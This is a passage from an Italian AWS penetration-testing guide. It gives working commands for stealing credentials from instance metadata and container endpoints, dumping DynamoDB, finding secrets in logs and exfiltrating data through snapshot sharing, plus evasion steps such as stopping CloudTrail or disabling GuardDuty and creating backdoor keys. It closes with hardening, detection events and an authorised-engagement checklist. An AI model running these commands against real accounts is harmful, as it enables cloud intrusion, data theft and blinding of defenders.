aws sns get-topic-attributes --topic-arn TOPIC_ARNreceive-message sposta temporaneamente il messaggio fuori dalla coda per gli altri consumer (per la durata di VisibilityTimeout): se il messaggio non viene esplicitamente eliminato (delete-message) o se scade il timeout, torna visibile — ma un consumo ripetuto o mal gestito può comunque interferire con l’elaborazione applicativa normale. Trattalo come un’azione con effetti collaterali, non come una lettura innocua.
DynamoDB: dati applicativi a riposo #
Spesso trascurato quanto SQS/SNS, ma è dove finiscono sessioni utente, token, dati PII e a volte configurazioni applicative intere — con permessi di lettura che sorprendentemente spesso sono più larghi di quelli su S3, perché “è solo un database interno”.
aws dynamodb list-tables
aws dynamodb describe-table --table-name TABLE_NAME
# Full table dump — no filter, reads every item. On a large table this
# burns read capacity units and is slow; scope with --limit or a
# FilterExpression when you only need to confirm sensitive fields exist
aws dynamodb scan --table-name TABLE_NAME --limit 20describe-table mostra anche se la tabella ha gli Streams attivi (StreamSpecification): se sì, e se hai dynamodb:GetRecords/GetShardIterator sul relativo stream ARN, puoi leggere il flusso di modifiche in tempo reale senza nemmeno fare scan — utile per intercettare dati scritti dopo che hai ottenuto accesso, senza dover ripetere scan periodici rumorosi.
Export silenzioso su S3: se la tabella ha il point-in-time recovery attivo, export-table-to-point-in-time scarica l’intera tabella in un bucket S3 senza eseguire un solo scan — niente consumo di read capacity, niente operazione sulla tabella viva, più discreto di un dump a colpi di scan:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:us-east-1:ACCOUNT_ID:table/TABLE_NAME \
--s3-bucket YOUR_BUCKET --export-format DYNAMODB_JSONHardening: scan/export su tabelle sensibili vanno ristretti con condition IAM e monitorati — un export verso un bucket esterno all’account è un forte segnale di esfiltrazione.
CloudWatch Logs: cacciare segreti loggati per errore #
Una delle fonti di leak più comuni in pratica: un’applicazione che logga per debug l’intero oggetto richiesta/risposta, comprese variabili d’ambiente, header di autenticazione o payload con password in chiaro — e nessuno se ne accorge perché i log non vengono letti manualmente.
aws logs describe-log-groups
# Search a specific log group for common secret patterns over the last 24h
aws logs filter-log-events \
--log-group-name /aws/lambda/TARGET_FUNCTION \
--start-time $(( $(date +%s) - 86400 ))000 \
--filter-pattern "password"
# Repeat with other high-value patterns
aws logs filter-log-events --log-group-name /aws/lambda/TARGET_FUNCTION --filter-pattern "AKIA"
aws logs filter-log-events --log-group-name /aws/lambda/TARGET_FUNCTION --filter-pattern "?Authorization ?Bearer ?secret"filter-pattern di CloudWatch Logs supporta una sintassi di match semplice (non regex vera) — per una ricerca più sofisticata su export di grandi dimensioni, esporta il log group su S3 (create-export-task) e passa i file a grep/strumenti dedicati in locale.
IMDS (metadata service) #
Se hai code execution su un’istanza EC2, il metadata service è spesso la via più rapida per credenziali IAM.
# IMDSv1 — no token required
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# IMDSv2 — a token obtained via PUT is required
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAMEAltri path IMDS utili per la ricognizione post-exploitation:
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-dataIMDSv2 non è una protezione assoluta contro SSRF: richiede il metodo PUT per ottenere il token, il che mitiga le SSRF basate su semplice redirect/GET, ma non protegge se l’attaccante ha già code execution locale, se la SSRF permette di forgiare header/metodo arbitrari, o se HttpTokens è ancora optional.
CloudTrail #
Endpoint: https://cloudtrail.us-east-1.amazonaws.com/ (JSON 1.1, X-Amz-Target: com.amazonaws.cloudtrail.v20131101.CloudTrail_20131101.DescribeTrails):
curl --aws-sigv4 "aws:amz:us-east-1:cloudtrail" \
--user "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" \
-H "x-amz-security-token: $AWS_SESSION_TOKEN" \
-H "X-Amz-Target: com.amazonaws.cloudtrail.v20131101.CloudTrail_20131101.DescribeTrails" \
-H "Content-Type: application/x-amz-json-1.1" \
-d '{}' \
https://cloudtrail.us-east-1.amazonaws.com/
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name TRAIL_NAME
aws cloudtrail lookup-events --max-results 20Lo scopo di controllare CloudTrail è capire cosa viene effettivamente registrato, non stimare quanto rumore ci si può permettere: anche senza un trail configurato, i management event restano visibili in Event History per 90 giorni. I data event (GetObject, invocazioni Lambda) non sono inclusi di default e vanno abilitati esplicitamente — verificalo con get-event-selectors.
Errore RequestExpired / clock skew #
Se un comando fallisce con:
An error occurred (RequestExpired) when calling the ListFunctions operation: Request has expired.il problema quasi sempre non sono le credenziali, ma l’orologio di sistema: AWS rifiuta richieste il cui timestamp si discosta troppo (intorno ai 15 minuti) dall’ora dei suoi server.
date -u
timedatectl
timedatectl timesync-statusFix corretto: riattivare la sincronizzazione NTP del sistema, non modificare l’orario a mano come procedura standard.
sudo timedatectl set-ntp true
timedatectlTroubleshooting: errori comuni durante un AWS pentest #
| Errore | Causa probabile | Comando diagnostico | Soluzione |
|---|---|---|---|
AccessDenied | L’identità non ha il permesso IAM per quell’azione specifica, o un Deny esplicito/SCP la blocca | aws iam simulate-principal-policy --action-names AZIONE_FALLITA | Verifica policy attached/inline, permissions boundary e SCP; non è sempre un dead-end, prova azioni alternative |
ExpiredToken / TokenRefreshRequired | Le credenziali temporanee (STS, assume-role, IMDS) sono scadute | Controlla il campo Expiration restituito al momento dell’emissione delle credenziali | Richiedi nuove credenziali (nuovo assume-role o nuova chiamata a IMDS/container credentials) |
InvalidClientTokenId | Access key ID inesistente, eliminata, o da un account/partition diverso da quello previsto | aws sts get-caller-identity con le stesse credenziali per confermare se sono valide | Verifica di aver copiato la chiave giusta; controlla di non mescolare credenziali tra profili diversi |
SignatureDoesNotMatch | Secret key sbagliata, oppure la richiesta è stata alterata dopo la firma (proxy, encoding) | Rilancia il comando identico senza passare per proxy/wrapper che modificano la richiesta | Verifica secret key; se usi curl --aws-sigv4, controlla che l’header Content-Type non cambi tra firma e invio |
RequestExpired / firma “non ancora valida” | Clock skew locale (vedi sezione dedicata sotto) | date -u / timedatectl | Risincronizza l’orologio via NTP |
| Risultati vuoti in una region specifica | Le risorse esistono in una region diversa da quella attiva, o la region non è abilitata per l’account | aws ec2 describe-regions --all-regions, ripeti il comando con --region REGION esplicito | Itera su tutte le region abilitate, non fermarti alla region di default del profilo |
NoCredentialsError / “Unable to locate credentials” | Nessun profilo attivo, variabili d’ambiente non esportate, o file ~/.aws/credentials assente | aws configure list | Esporta le variabili AWS_* o verifica --profile |
Tabella rapida dei comandi #
| Servizio | Comando | Cosa restituisce |
|---|---|---|
| STS | aws sts get-caller-identity | Identità corrente |
| IAM | aws iam get-role --role-name X | Trust policy del ruolo |
| IAM | aws iam simulate-principal-policy | Permessi effettivi (screening) |
| S3 | aws s3api get-bucket-policy-status | Se il bucket è pubblico |
| EC2 | aws ec2-instance-connect send-ssh-public-key | Accesso SSH temporaneo |
| SSM | aws ssm send-command | Esecuzione comandi su EC2 (root/SYSTEM) |
| Lambda | aws lambda update-function-code | Dirotta codice di una funzione esistente |
| Secrets Manager | aws secretsmanager get-secret-value | Valore del segreto |
| Cognito | cognito-identity get-credentials-for-identity | Credenziali IAM senza auth |
| ECS | aws ecs execute-command | Shell interattiva nel container |
| CloudTrail | aws cloudtrail get-trail-status | Copertura reale del logging |
| KMS | aws kms put-key-policy | Privesc: concediti decrypt diretto su una chiave |
| EBS/RDS | modify-snapshot-attribute / modify-db-snapshot-attribute | Exfiltration via snapshot sharing, senza toccare la risorsa viva |
| S3 | aws s3 presign | URL temporaneo per download senza esporre le credenziali |
| SQS | aws sqs receive-message | Lettura messaggi in coda (dati applicativi in transito) |
| DynamoDB | aws dynamodb scan | Dump dati applicativi a riposo |
| CloudWatch Logs | aws logs filter-log-events --filter-pattern X | Segreti loggati per errore dalle app |
| CloudTrail | aws cloudtrail stop-logging | Defense evasion: spegni la visibilità prima di muoverti |
| GuardDuty | aws guardduty update-detector --no-enable | Defense evasion: disattiva il detector |
| IAM | aws iam create-access-key su utente legittimo | Persistence: backdoor silenziosa |
| EC2 | aws ec2 modify-instance-attribute --user-data | Code execution come root al prossimo boot |
| EC2 | aws ec2-instance-connect send-serial-console-ssh-public-key | Console seriale, bypass SSH/SSM |
| SSM | aws ssm start-session ... AWS-StartPortForwardingSessionToRemoteHost | Tunnel verso servizi interni, bypass security group |
| EKS | aws eks update-kubeconfig + kubectl | Accesso al control plane Kubernetes via IAM |
| API Gateway | aws apigateway get-stages | Trova endpoint con authorizationType: NONE |
| Organizations | aws organizations list-accounts | Mappa l’intera org; pivot via OrganizationAccountAccessRole |
| OpenSearch | aws opensearch describe-domain | Domain con access policy aperta, query senza auth |
| Step Functions | aws stepfunctions get-execution-history | Input/output in chiaro tra gli step |
| CloudFormation | aws cloudformation get-template | Secret hardcoded in template e output |
| Glue | aws glue get-connections | Username/password DB in chiaro |
| CodeBuild | aws codebuild batch-get-projects | Env vars di build con credenziali in chiaro |
| KMS | aws kms decrypt | Decifra dati direttamente con kms:Decrypt |
| S3 | aws s3api list-object-versions | Recupera oggetti “eliminati” (versioning) |
| Route53 | aws route53 list-resource-record-sets | Topologia interna, subdomain takeover |
| IAM | aws accessanalyzer list-findings-v2 | Risorse esposte cross-account/pubblicamente |
FAQ #
Come verifico la mia identità AWS attuale?
aws sts get-caller-identity — restituisce account, ARN e tipo di principal. Primo comando da lanciare con qualsiasi credenziale nuova.
Come faccio una chiamata AWS con curl invece della CLI?
Usa curl --aws-sigv4 "aws:amz:REGION:SERVICE" --user "ACCESS_KEY:SECRET_KEY", aggiungendo x-amz-security-token se le credenziali sono temporanee. Il formato del body/URL dipende dal protocollo del servizio: form-urlencoded per query API (STS, IAM), JSON con header X-Amz-Target per i servizi JSON 1.1 (Secrets Manager, SSM, Cognito), path REST diretto per Lambda/S3/EKS.
Come individuo un possibile percorso di privilege escalation?
Enumera le azioni IAM disponibili, poi confrontale con i pattern noti: iam:PassRole verso servizi che eseguono codice, modifica di policy/trust policy su se stessi, creazione di access key per altri utenti. Verifica sempre prima di eseguire l’azione.
Che differenza c’è tra IMDSv1 e IMDSv2? IMDSv1 risponde a GET senza autenticazione. IMDSv2 richiede prima una PUT per un token con TTL limitato — mitiga le SSRF semplici ma non protegge da SSRF che forgiano richieste PUT con header custom, né da code execution diretto.
Quali limiti ha CloudTrail come fonte di audit? I management event restano in Event History 90 giorni anche senza trail dedicato, ma i data event non sono inclusi di default e vanno abilitati esplicitamente — molte organizzazioni non lo fanno.
Che differenza c’è tra credenziali IAM permanenti e credenziali STS temporanee?
Una access key IAM permanente (AKIA...) resta valida finché non viene eliminata manualmente — se la trovi in un repo o in un file di config, funziona finché qualcuno non se ne accorge. Le credenziali STS (da assume-role, get-session-token, IMDS, container credentials) hanno sempre una Expiration e un AWS_SESSION_TOKEN associato: scadono da sole, in genere entro poche ore. Verifica sempre quale tipo hai in mano prima di pianificare i tempi di un test.
Come diagnostico un errore AccessDenied durante un pentest AWS?
Non significa automaticamente “vicolo cieco”. Rilancia l’azione fallita dentro simulate-principal-policy per capire se è un deny esplicito, una condition non soddisfatta, un permissions boundary o una SCP — ognuno di questi suggerisce un percorso diverso da provare (vedi la tabella troubleshooting sopra per gli altri errori comuni).
Come trovo bucket S3 pubblici senza avere credenziali AWS?
Con aws s3 ls s3://NOME-BUCKET --no-sign-request: i bucket pubblici rispondono anche senza firma. Per cercarli a partire dal nome dell’azienda, permuta il nome in varianti (-backup, -logs, -dev, -prod) e testa ciascuna — NoSuchBucket significa che il nome è libero, AccessDenied che esiste ma è privato.
Come eseguo comandi su un’istanza EC2 senza avere la chiave SSH?
Tre vie principali: SSM Run Command (aws ssm send-command, gira come root/SYSTEM se l’agente SSM è attivo), EC2 Instance Connect (send-ssh-public-key, push temporaneo di una tua chiave), e la modifica dello user-data (modify-instance-attribute + stop/start, esegue uno script al boot). La scelta dipende da quali permessi IAM hai e da cosa è installato sull’istanza.
Come recupero credenziali IAM da una funzione Lambda o da un container ECS?
Non via IMDS (Lambda non lo espone): si usa l’endpoint container credentials locale, curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_FULL_URI con l’header Authorization: $AWS_CONTAINER_AUTHORIZATION_TOKEN (su ECS la variabile è AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). Restituisce le credenziali temporanee del ruolo di esecuzione.
Come esfiltro i dati di un database RDS senza connettermi al DB?
Condividendone uno snapshot con un account che controlli (rds:ModifyDBSnapshotAttribute), poi ricostruendo un’istanza nuova da quello snapshot nel tuo account (restore-db-instance-from-db-snapshot). Nessuna query sul DB vivo, nessuna connessione di rete verso il target — solo una copia completa fuori dal suo perimetro di monitoraggio. Lo stesso pattern vale per EBS con gli snapshot dei volumi.
Quali strumenti affiancare ad AWS CLI per una valutazione più completa? AWS CLI e curl coprono l’enumerazione manuale e la verifica puntuale di un percorso. Per uno scan sistematico delle policy IAM o l’identificazione automatica di catene di privilege escalation, strumenti dedicati automatizzano decine di chiamate: Pacu (framework di exploitation AWS), ScoutSuite e Prowler (audit di configurazione multi-servizio), CloudSplaining (analisi di over-permissioning IAM) e Cartography (mappatura a grafo delle relazioni tra risorse). Utili in triage iniziale, non in sostituzione della verifica manuale dei percorsi più promettenti.
Hardening e detection: la prospettiva difensiva #
Ogni tecnica offensiva di questa guida ha un contro-controllo. Un report di pentest che si ferma all’elenco delle vulnerabilità vale metà: il cliente vuole sapere cosa cambiare. Questa è la sintesi difensiva, organizzata per classe di attacco.
Identità e privilege escalation #
- Least privilege reale: nessuna policy con
Action: "*"oiam:*/sts:AssumeRolesuResource: "*". Le azioni abilitanti (iam:CreatePolicyVersion,iam:PassRole,iam:CreateAccessKey,iam:UpdateAssumeRolePolicy) vanno concesse solo dove strettamente necessario e conResourceristretto. - Permissions boundary su ogni ruolo creabile da utenti non-admin: limita il tetto massimo di privilegio anche se la policy allegata è troppo larga.
- SCP a livello Organization: deny esplicito su
iam:CreateUser/CreateAccessKeyfuori dai processi previsti, e sulla disattivazione dei servizi di logging. ExternalIdobbligatorio su ogni trust policy cross-account verso terze parti; mai fidare di un intero account (:root) senza condition.- MFA obbligatoria per le azioni sensibili, imposta via condition
aws:MultiFactorAuthPresent.
Dati e storage #
- S3 Block Public Access a livello di account, non solo per bucket; versioning con MFA Delete sui bucket sensibili; cifratura SSE-KMS con key policy restrittiva.
- EBS snapshot Block Public Access a livello account; audit periodico di
createVolumePermission/launchPermissionsu snapshot e AMI. - RDS/EBS: nessuno snapshot condiviso pubblicamente; cifratura con CMK il cui accesso è separato da chi gestisce gli snapshot.
- Secrets Manager/SSM/Glue: nessun segreto in chiaro in env var di Lambda/ECS/CodeBuild, in user-data o in output CloudFormation; rotazione attiva.
Compute e lateral movement #
- IMDSv2 obbligatorio (
HttpTokens: required) su tutte le istanze, conHttpPutResponseHopLimit: 1per bloccare l’uso da container. - SSM: logging delle sessioni su S3/CloudWatch, e restrizione di
ssm:SendCommand/StartSessionai soli operatori autorizzati. - ECR: tag immutability + scan on-push.
- EKS: endpoint API privato quando possibile,
aws-authcon mapping minimale, RBAC least privilege.
Detection: eventi CloudTrail da allertare sempre #
Un SOC AWS dovrebbe avere alert ad alta priorità su: StopLogging, DeleteTrail, UpdateDetector (Enable=false), CreateFilter (Action=ARCHIVE), DeleteFlowLogs, StopConfigurationRecorder — tutti segnali di defense evasion. E poi: CreateAccessKey/CreateLoginProfile fuori onboarding, CreatePolicyVersion/AttachUserPolicy verso policy privilegiate, UpdateAssumeRolePolicy, AddPermission/CreateGrant/PutResourcePolicy con principal esterni, ModifySnapshotAttribute/ModifyDBSnapshotAttribute con account esterni, GetFederationToken con policy larghe.
GuardDuty, Security Hub e un Access Analyzer attivo su ogni account coprono gran parte di questo in automatico — a patto che nessuno possa disattivarli senza generare un alert a sua volta.
Checklist operativa da engagement #
- Identità corrente confermata (
get-caller-identity) e account coerente con lo scope - Region coperte elencate esplicitamente (non solo quella di default del profilo)
- Tipo di credenziali noto (permanenti o temporanee) e relativa scadenza annotata
- Permessi effettivi mappati per l’identità corrente (policy attached/inline, boundary, SCP se visibili)
- Servizi e risorse accessibili enumerati (IAM, S3, EC2, Lambda, container, secret store)
- Percorsi di privilege escalation individuati, con prerequisito e impatto documentati per ciascuno
- Ogni azione di tipo
Weseguita solo dopo conferma che è nello scope autorizzato - Evidenze raccolte (output dei comandi, non screenshot di dati sensibili non necessari)
- Copertura CloudTrail verificata, per sapere cosa risulterà visibile al cliente nei suoi log
- Remediation proposta per ogni finding, non solo l’elenco delle vulnerabilità
Modello sintetico di finding #
Title: [Servizio] — [Azione IAM] permette [impatto] senza [condizione mancante]
Severity: Critical / High / Medium / Low
Prerequisite: identità X ha il permesso Y su risorsa Z (nessuna MFA/condition richiesta)
Impact: l'azione Y consente [privilege escalation / data exposure / code execution],
dimostrato con [comando usato in verifica controllata]
Evidence: output del comando (redatto per rimuovere eventuali secret reali)
Remediation: applicare least privilege su Y, aggiungere condition [IP/MFA/tag],
oppure rimuovere il permesso se non necessario al workflow legittimoPer il quadro completo sulla sicurezza della piattaforma, vedi AWS Security su Hackita.it. Per approfondire la SSRF come vettore d’accesso a IMDS — spesso il primo anello di una catena che arriva fin qui — vedi l’articolo dedicato su SSRF .








